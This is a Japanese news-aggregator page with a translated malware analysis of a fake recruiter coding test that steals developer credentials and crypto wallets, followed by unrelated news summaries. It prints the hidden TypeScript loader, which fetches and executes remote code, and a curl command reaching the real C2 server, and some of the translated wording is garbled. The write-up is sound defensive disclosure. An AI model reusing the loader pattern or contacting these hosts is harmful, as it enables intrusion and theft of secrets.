面接を利用してシステムに侵入する方法

2026/08/21 0:50

面接を利用してシステムに侵入する方法

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

直近の LinkedIn での高収入リモートソフトウェアエンジニア職のオファーが、開発者の認証情報を盗もうとする洗練されたフィッシング攻撃であることが判明した。このスキャンダルは一般 Gmail アドレスから発信され、導入電話を省略することで標準的な選定プロセスを回避し、予期しない言語でコーディングテストを提供していた。提供された TypeScript コードを実行すると

initPriceConfig
関数がトリガーされ、これを介してリモートコード実行により Function.constructor を使用してリモートアクセストロイの木馬(RAT)が動的に読み込まれた。その後、マルウェアは JWT 認証トークンを介して Command & Control サーバーから追加の暗号化された JavaScript をダウンロードし、完全なシステム制御を可能にした。

この脅威は、OS の権限を昇格させることなく、AWS クレデンシャルや暗号通貨ウォレットデータなど機密ユーザーファイルを直接標的にした。機能には、人工的なキーボード/マウス入力の生成、SSH ピボティング、PEM キーの盗難、画面キャプチャー、仮想マシンフィンガープリンティング、ブラウザ認証情報の抽出、28 の拡張機能(例:MetaMask、Phantom)からのウォレットデータ収集、.env ファイルの読み取り、クリップボード監視、そして企業/NAT プロキシを通じて外部への流出経路を確立する能力が含まれる。即座に対処しない場合、攻撃者は機密と秘密鍵を盗むための永続的なアクセスを維持でき、組織に対し SSH キーの全回転化、パスワード変更、リポジトリ内の平文機密の削除、および必要に応じて影響を受けたシステムの再インストールを余儀なくされる。専門家は、コードを実行する際に孤立した仮想環境(例:Vagrant VM スナップショット)を使用し、マウントされたホストデータに対して Docker を注意深く利用するか、または実行前に異常を検出する AI ツールを採用することを推奨している。

本文

リクルーターを名乗るフィッシング攻撃と二段階ローダーの解析:被害防止対策

現在、IT 人材市場は厳しく、LinkedIn を介した適切なオファーを受け取ることは幸運ですが、一見して安全に見える求人情報が実は高度な攻撃である可能性があります

「パートタイム・リモート勤務・時給良好」という魅力的な条件で LinkedIn に掲載され、数回のやり取り後にコーディング課題の送信が突然始まったケースは、典型的なフィッシング攻撃です。

事象の始まり:コードベースからシステムを乗っ取る仕組み

今回の攻撃では、TypeScript コードベース(約 180 ファイル)を通じてシステムへのアクセス権限を取得し、悪意のあるデータを転送するプロセスが実行されました。

【懸念すべき 5 つのポイント】

テストを受ける前に以下の異常を検知すべきです:

  • 連絡先人物が LinkedIn に掲載された社員リストに含まれていない。
  • 課題受領前に「自己紹介のための電話」などの予備ステップがない。
  • テスト言語が申請者の熟悉的な言語ではない。
  • コードが Bitbucket で公開されており、不自然。
  • 送信元メールアドレスが企業ドメインではなく
    @gmail.com
    である。

【危険な初期設定コード】

与えられたプロジェクトの起動関数には、以下の脆弱性が含まれていました。

const initPriceConfig = async () => {
    const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
    const res = (await axios.get(`${src}`));
    // 関数型コンストラクタを使って動的にコードを実行する
    const handler = new (Function.constructor)('require', res.data.record.model);
    if (handler) handler(require);
};

initPriceConfig();

このコードは

npm run dev
実行時に呼び出され、
require
権限を悪用
して以下の行為が可能になります:

  • シェルアウト:
    require('child_process')
    で外部コマンドを実行。
  • ファイル操作:
    require('fs')
    でファイルシステムを書き換え、永続化データを記録。
  • データ流出:
    require('net')
    /
    'https'
    で独自の通信チャネルを開設。
  • 環境変数窃取:
    process.env
    から
    MONGO_URI
    JWT_SECRET
    などの機密情報を取得。

詳細解説:二段階ローダー(二段階のコード実行)

攻撃者は「jsonbin.io」経由で初期ロードし、さらに**遠隔コード実行(RCE)**用の第二段階のデータを入手する手法を使いました。

  1. 第一段階:
    api.jsonbin.io
    から暗号化されたペイロード(約 24KB の webpack バンドル)を入手。
  2. 第二段階: ペイロードを復号化し、C2 サーバーから最終的な攻撃コードを取得。
# 取得に使用されたコマンド例
curl -sS -v --max-time 30 \
  -H 'Authentication: jwt' \
  -H 'Accept: application/json, text/plain, */*' \
  -A 'axios/1.5.3' \
  -D headers.txt \
  -o body.bin \
  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

C2 サーバーが提供する 4 つの悪意あるモジュール

取得されたコードには以下の高度な機能が含まれていました:

1. scdata (遠隔アクセストロイの木馬 / RAT)

  • 完全シェル機能(node-pty搭載)。
  • SSH 鍵窃取、Pivoting。
  • 人工的なキーボード・マウス操作(
    @nut-tree-fork/nut-js
    )。
  • スクリーンショット取得(
    screenshot-desktop+sharp
    )。
  • VM/物理機識別: システム情報を収集し、仮想環境か実機かを判別。

2. ldata (認証情報・ウォレット盗難モジュール)

  • ブラウザプロファイル窃取: Chrome, Edge, Brave, LT の全 3 オス対応。
    • ログインデータ、Web データ、拡張機能設定(LevelDB)、macOS キーチェーン。
  • 暗号資産ウォレット標的:
    • MetaMask, Phantom, Coinbase, Binance, TronLink など28 種類以上のウォレット
    • 無限ループで動作し、1 分ごとにデータを再アップロード。

3. ファイル Grabber (ファイルスキャン・窃取)

  • ホームディレクトリを巡回。
  • 標的ファイル: プライベートキー、シークレットフレーズ、
    .env
    、SSH キー (
    *.pem
    ,
    *.p12
    ) など。
  • 標的ディレクトリ:
    .ssh
    ,
    .aws
    ,
    .gnupg
    ,
    .docker
    など。
  • Windows 対応: すべてのドライブ(ネットワークドライブ含む)をスキャン。

4. クリップボードモニター

  • クリップボードのポーリングを行い、悪意のあるログ名(
    npm-compiler.log
    )で外部へ転送。

【通信経路の特徴】

  • 被害者のシステムは攻撃サーバー
    147.189.174.138:7321
    だけにアウトバウンド接続を行います。
  • インバウンドポートを開けずとも、NAT やプロキシの壁を越えて動作
  • 被害者の IP アドレスが変化しても影響を受けない設計です。

なぜ全てのファイルにアクセスできるのか?

マルウェアは権限昇格(root/Sudo)を求めず、現在のユーザー権限で動作します。これにより以下の機密情報が漏洩します:

  • SSH 鍵:
    ~/.ssh/id_rsa
    など
  • クラウド認証:
    ~/.aws/credentials
    ,
    ~/.azure
    など
  • 環境変数:
    .env
    ファイル内の DB パスワードや API キー
  • ブラウザデータ: ウォレットファイル、ログイン情報

Node.js プロセスはユーザー権限で動作するため、これらにアクセスする正当な権限を天然に持っています。Windows 版ではさらにマウントされたドライブも対象範囲に含まれます。

次のために取るべき予防策

100% の保護は不可能ですが、以下の対策でリスクを低減できます。

❌ AI ツールだけで防御するのは弱すぎる

  • 異常なコードパターンの検出のみ可能。
  • jsonbin.io
    への呼び出し自体は見逃せず、返されるコードの安全性までは判断できない

⚠️ Docker で完全に隔離できるわけではない

  • ホストシステムからコードは隔離できるが、ホストデータをマウントすると漏洩する
  • スクリプト実行時に外部リソースにアクセスする可能性が残る。

✅ Vagrant(仮想マシン)が最も推奨される環境

  • 完全な隔離: 実機とは物理的に分離可能。
  • スナップショット機能: 終了後に状態を戻せるため、被害が拡大しても迅速に復旧。
  • UI がない場合のメリット: ブラウザデータやスクリーンショット撮影モジュールは自発的に動作せず、自己制限される傾向がある。

【RAT の対策に関する注意点】 RAT は積極的に VM を識別します(

system_profiler
,
/proc/cpuinfo
など)。

  • 仮想環境と実機を判別し、優先度を下げるか慎重に対処するフラグを立てる。
  • ただし、RAT やファイル Grabber モジュールは依然として機能するため、完全な安心は得られない。

【AI スキャンの限界】 異常パターンを検出させるための指示を与えても、特定のマルウェアコードは見逃される可能性が高い。

次にどうすればよいか:被害発生時の対応策

万一感染した場合、以下の緊急対応が必要です:

  1. SSH キーの破棄とローテーション: 直ちに無効化し、新しい鍵を設定。
  2. パスワード変更: 全アカウント(GitHub, AWS など)で即時変更。
  3. 機密情報の再確認:
    .env
    や明文化された秘密情報を確認・更新。
  4. 【最重要】OS の再インストール: 安全を最優先し、クリーンな状態からの再構築を行うこと。

本記事は 2026 年 8 月 17 日に作成され、2026 年 8 月 20 日に更新された情報に基づいています。

同じ日のほかのニュース

一覧に戻る →

2026/08/21 4:22

8 月 17 日の障害と今後の作業

## Japanese Translation: GitHub は、インフラストラクチャのスケーリング失敗により発生した直近の深刻なサービス障害を修正することを表明しました。これは急激なユーザー成長に伴いシステム信頼性を高める方向への決定的な転換です。以前はコードエラーが起因だった問題とは異なり、8 月 17 日のこの事象は、キーコンポーネントがトラフィックのピーク時にスケーリングできなかったことに起因し、月間コミット数が 14 億回から 29 億回へと倍増したという要因が悪化を招きました。これを解決するため、GitHub は CPU コアを 300 万超を追加する等インフラへの大幅な投資を行っており、特に GitHub Actions の高負荷に対処するために Azure へのワークロードのオフローディングを実施しています。CEO(CTO)Vladimir Fedorov が発表したこれらのアーキテクチャ変更には、大規模なコードベースに対して読み込み操作を無制限に許可する機能の導入や、カスケード故障を引き起こした従来の共有依存関係を排除するため重要システムを分離する措置も含まれます。今後、Copilot や API 等のサービスを利用する開発者を保護するために、一貫したリトライ上限と安全なデプロイ戦略の実施が強化されます。結果として、これらの対策は将来の障害発生確率を大幅に低減させ、一貫した可用性を確保することで、プラットフォームを活用して協調的なソフトウェア開発を行う数百万人のユーザーの生産性を safeguard(守り)ます。

2026/08/21 3:19

消費者権利ウィキ

## 日本語訳: ## まとめ: 2026 年、主要なウィキプラットフォームは、ユーザーの安全を強化し、コミュニティへの関与を改善するとともに消費者の利便性を拡大することを目的として、3 月、6 月、7 月に一連の技術アップデートを展開しました。2026 年 7 月 17 日、重要なセキュリティと機能の向上が実施されました:MediaWiki がバージョン 1.46 にアップグレードされ、拡張機能も更新されてパフォーマンスとセキュリティが改善されました;フィードバックボタンのレートリミットが強化されました;ログアウトには現在確認プロンプトが必要となり、誤操作によるサインアウトを防ぎます。新しいバックエンドのスパム対策機能が追加され、「ロックダウンモード」(Special:SiteLockdown)により、サイト管理者は未認証ユーザーの編集とアカウント作成を制限できます。テンプレートでの非承認ユーザーの編集機能は無効化され、一方、Wikimedia Commons から直接メディアにアクセスできるよう InstantCommons が有効化されました。「rollback-manager」権限を持つスタッフが Special:MassRollback を通じて大規模なロールバックを実行でき、Special:GiveAward で手動で賞の作成も可能です。 ユーザーインターフェースの強化には、記事のトークページにフィードバックセクション、ユーザーページに表示される編集とアクティビティチャートを示すトグル可能な「Your impact」パネル、大規模ロールバックと賞の付与へのリンクが含まれる更新されたツールドロップダウンが含まれます。2026 年 6 月 15 日、匿名の編集のための一時アカウントが有効化され、IP アドレスの公開表示を防ぎました。また、特定のチャンネルをブリッジすることで Discord/Zulip の統合が改善されました。バグ修正により、時折スタッフが受賞者としてリストされていた不適切な賞のログが解決しました。 2026 年 3 月の前半、プロジェクト「Laws」が開始され、消費者権利に関する法的文書を増やすとともに、定期タスク向けの「Project Maintain」と連携します;毎月初日の日曜日の 20:00(UTC)に月間 Zoom ハングアウトが予定されました。プラットフォームは .odt および .ods ファイルのアップロードをサポートし始めるとともに、Google でインデックス化を開始しました。 消費者権利と説明責任を支援するために、包括的な「Consumer Tools」リストが追加され、広告ブロック機能(Pi-hole、uBlock Origin)、反詐欺リソース(Have I Been Pwned、CFPB、VirusTotal)、アーカイブツール(Wayback Machine)、企業責任サイト(BBB、FDA Recalls)、法的手続きリソース(Consumer Reports、ClassAction.org)、修理、価格透明度、プライバシー、サブスクリプション追跡、ダークパターン認識のためのツールが含まれます。これらの変更は集まって、より堅牢で安全かつインタラクティブなデジタル環境を創造するとともに、価値のある外部リソースを提供することを目的としています。

2026/08/19 0:50

I like them thick: 英語の先生方への謝罪

## Japanese Translation: 著者は、偉大な文学作品や芸術を騙し絵として無効化する以前の主張を取り下げ、「厚み」という本質的な質を持つと確立します。この物質は、作品から時間の経過とともに深い洞察を引き出すことを可能にし、持久力のないものや AI 生成コンテンツとは区別されます。真の価値は、放棄されたドラフト、視聴者の貢献、そして検証に耐える能力によって定義されます。具体的な例は、密な注意が隠された層を明らかにする方法を示します。例えば、ヒエロニムス・ボスの『天国と地獄』では、学生が「お尻音楽」という不快な音階(世俗的な過剰さについての警告として意図されたもの)に気づきました。同様に、グレーム・ベースのインタラクティブな書籍は謎を解くために繰り返し読むことを必要とし、ジェーン・ジャコブスは、賑やかな街角には大学ベンチのような空虚さに欠ける活力があると観察しました。中世の音楽アルバムや 1960 年代から再生不能なトラックなどの歴史的な先例は、創造者がより深い意味を埋め込み、発見を必要とするというのを確認しています。究極的には、この内在的な深さを持つ作品だけが永続します。将来の成功は、個人がこれらの層を発見するために時間を投資することにかかっています。博物館を単純なスキャベンジャー・ハントのように扱うのではなく、「スロープ」を消費するのではなく。この視点は、教育者に、持続可能に展開する芸術の創造における人間の努力を価値付けるよう奨励し、業界を表面的な消費から複雑なアイデアへの意味のある関与へとシフトさせます。

面接を利用してシステムに侵入する方法 | そっか~ニュース